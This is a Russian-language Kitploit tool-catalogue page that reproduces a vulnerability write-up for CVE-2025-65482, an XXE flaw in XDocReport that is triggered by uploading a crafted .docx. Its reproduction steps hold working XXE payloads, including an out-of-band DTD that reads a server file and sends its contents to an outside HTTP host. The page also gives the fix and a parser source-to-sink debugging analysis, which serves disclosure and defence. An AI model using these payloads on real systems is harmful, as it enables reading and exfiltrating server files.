Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-65482-XXE- — CVE-2025-65482 (XXE) | Kitploit
Инструменты/GitHubGitHub/at190510-cuong/cve-2025-65482-xxe-
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхСтатьи и ИсследованияОбучение и Образование
GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

Репозиторий
129 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-65482 (XXE)

Внедрение внешних XML-сущностей (XXE) в XDocReport

Определение уязвимости

Внедрение внешних XML-сущностей

Обзор уязвимости

  • XML External Entity Injection (XXE) — это уязвимость при обработке данных в формате XML, когда пользователь вставляет XML-данные со ссылкой на внешний файл или систему. Злоумышленник может использовать данную XXE-уязвимость для сканирования других систем на наличие открытых портов служб, запрашивать секретные файлы и получать доступ к функциям подключенных систем, которые иначе были бы недоступны. Отсюда злоумышленник может извлекать данные, взаимодействовать с системами и вызывать нарушение обслуживания через внедрение XML.

Влияние на бизнес

  • XXE может привести к репутационному ущербу для бизнеса из-за потери доверия и уверенности пользователей. Это также может привести к краже данных и косвенным финансовым потерям для бизнеса через затраты на уведомление, исправление и нарушение конфиденциальности PII-данных.

Степень серьезности: HIGH

image

Описание и влияние

Веб-сайт управления персоналом позволяет пользователям загружать файлы документов .docx в систему. В процессе обработки приложение использует библиотеку , содержащую XXE-уязвимость при передаче файла через .

Скачать инструмент
fr.opensagres.xdocreport.document.docx
.docx
SAXParser

Затронутый компонент

fr.opensagres.xdocreport.template.docx — XDocReport (версии =< 2.0.3)

Анализ первопричины

Причина в использовании Apache POI

root@kitploit:~
fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

То есть Apache POI находится глубоко в модуле:

root@kitploit:~
org.apache.poi.xwpf.converter.core

image

Ошибка возникает потому, что XDocReport (в модуле fr.opensagres.xdocreport.document.docx) использует Apache POI для чтения файлов .docx, а POI, в свою очередь, использует SAXParser по умолчанию из Java без отключения функций, разрешающих обработку DTD и внешних сущностей. → Это позволяет злоумышленнику вставить DOCTYPE с сущностью, ссылающейся вовне (SYSTEM "http://...") или на внутренний файл (file:///...) → приводит к XXE.

image

root@kitploit:~
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Шаги воспроизведения

  • Распаковать любой docx-файл
root@kitploit:~
unzip ../vcspentest.docx

image

  • Изменить содержимое файла document.xml внутри docx
root@kitploit:~
nano word/document.xml

image

Изменить с помощью outband-полезной нагрузки для Collabrator:

root@kitploit:~
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

image

  • Упаковать обратно в файл poc
root@kitploit:~
 zip -r ../poc.docx *

image

image

  • Загрузить измененный docx-файл на обработку xdocreport

image

  • В результате виден запрос, отправленный на Collabrator

image

  • Повышение impact до чтения файлов в системе
  • Хост для хранения dtd-файла на машине wsl 172.26.208.130. Содержимое файла vcspentest.dtd следующее:
root@kitploit:~
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

Изменить файл word/document.xml внутри .docx на следующее содержимое для загрузки внешнего dtd с машины wsl:

root@kitploit:~
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • упаковать файл в .docx и загрузить на сервер для обработки

image

image

  • на машине wsl виден запрос с содержимым файла D:/vcspentest.txt с целевого сервера

image

image

Решение

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

В коде или на уровне конфигурации XML-парсера необходимо отключить все функции, связанные с DTD и внешними сущностями.

Исправление аналогично этому коду:

root@kitploit:~
    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
        return "SAXParser xxe security code";
    }

Настройка среды отладки

image

  • в файле Main.java
root@kitploit:~
package org.example;

import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

public class Main {

    public static void main(String[] args) {
        try {
            // Чтение входного файла, содержащего выражение Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // Входной файл
            InputStream input = new FileInputStream(docxTemplate);

//             Загрузка шаблона с использованием Velocity
//            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);

            // Загрузка шаблона с использованием FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

            // Создание контекста - можно оставить пустым, если тестируется только независимое выражение
            IContext context = report.createContext();

            // Вывод в новый файл
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);

            System.out.println("✅ Файл result.docx успешно создан.");
        } catch (Exception e) {
            System.err.println("❌ Ошибка обработки файла:");
            e.printStackTrace();
        }
    }
}
  • Необходимые библиотеки
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Template engine: FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

Отладка анализа source-sink

  • входные данные из содержимого XML в .docx проходят предварительную обработку

image

  • затем они передаются на обработку SAXParser без проверки входных данных

image

image

image

image

  • после этого они попадают в функцию scanDocument(), которая сканирует содержимое XML и генерирует "события" (START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE и т.д.)

image

image

image

image

  • Проверка имени сущности (name = "xxe"), является ли она внешней сущностью

  • Если сущность объявлена и является внешней, парсер вызывает логику разрешения внешней сущности (например, startExternalEntity(...) / fEntityManager.startEntity(...)) — это sink: в этот момент парсер получает systemId/publicId и пытается открыть поток (может генерировать HTTP-запрос наружу).

image

image

image

  • xxe является внешней сущностью, поэтому startEntity(...) ведет к логике открытия ресурса (например, startExternalEntity(...) / открытие InputStream → возможность генерации HTTP-запроса по SYSTEM URL).

image

image

image

  • Это точка, где парсер начинает обработку сущности "xxe".

image

image

image

image

image

image

root@kitploit:~
  // should we skip external entities?
        boolean external = entity.isExternal();
        Entity.ExternalEntity externalEntity = null;
        String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
        if (external) {
            externalEntity = (Entity.ExternalEntity)entity;
            extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
            extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
            expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
            boolean unparsed = entity.isUnparsed();
            boolean parameter = entityName.startsWith("%");
            boolean general = !parameter;
            if (unparsed || (general && !fExternalGeneralEntities) ||
                    (parameter && !fExternalParameterEntities) ||
                    !fSupportDTD || !fSupportExternalEntities) {

                if (fEntityHandler != null) {
                    fResourceIdentifier.clear();
                    final String encoding = null;
                    fResourceIdentifier.setValues(
                            (externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
                            extLitSysId, extBaseSysId, expandedSystemId);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.endEntity(entityName, fEntityAugs);
                }
                return;
            }
        }

image

  • Функция startEntity() проверяет, является ли сущность внешней (isExternal = true), затем вызывает:
root@kitploit:~
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);

Переменная externalEntity.entityLocation содержит вредоносный URL из DOCTYPE (SYSTEM "http://...oastify.com/").

image

  • resolveEntityAsPerStax, переменная resourceIdentifier содержит абсолютный путь: http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/

  • эта функция затем преобразует resourceIdentifier в объект XMLResourceIdentifierImpl и продолжает открывать фактическое соединение для чтения содержимого.

image

image

Ссылки

  • https://drive.google.com/drive/folders/1hUyCznpBN7ivo5krmyJ4OQc_q626Hy5q?usp=drive_link